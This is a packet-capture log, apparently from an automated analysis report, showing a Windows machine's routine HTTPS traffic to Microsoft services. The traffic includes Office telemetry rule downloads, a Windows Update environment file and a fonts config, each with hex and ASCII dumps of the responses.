2024-11-20 13:43:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134322Z-1777c6cb754mqztshC1TEB4mkc00000009r000000000a8q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134322Z-185f5d8b95ctl8xlhC1NYCn94g0000000acg00000000cmw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49742	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2XGUk4Zy5p9BXkV&MD=+K8atg+2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 13:43:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 01477d9a-cc6c-44bb-9ab1-795604259872 MS-RequestId: 9c09bb3b-bc25-45ea-bd2b-40584d39a5c2 MS-CV: pcYuHXPNVkq+Wzgh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 13:43:23 GMT Connection: close Content-Length: 24490
2024-11-20 13:43:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 13:43:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0bcc5563-701e-0021-03f3-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134324Z-185f5d8b95csp6jmhC1NYCwy6s0000000ab0000000003pv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134324Z-r1d97b99577sdxndhC1TEBec5n00000008yg00000000gdt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134324Z-1777c6cb754mrj2shC1TEB6k7w00000009t000000000bxkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134324Z-185f5d8b95c96jn4hC1NYCbgp80000000ab0000000008vwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49756	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 13:43:25 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=10907 Date: Wed, 20 Nov 2024 13:43:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134324Z-185f5d8b95cgrrn8hC1NYCgwh40000000a70000000006w3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134326Z-1777c6cb754xjpthhC1TEBexs800000009eg00000000fdm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49765	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 13:43:27 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=10908 Date: Wed, 20 Nov 2024 13:43:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 13:43:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134327Z-r1d97b99577jlrkbhC1TEBq8d000000008ug000000009sgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
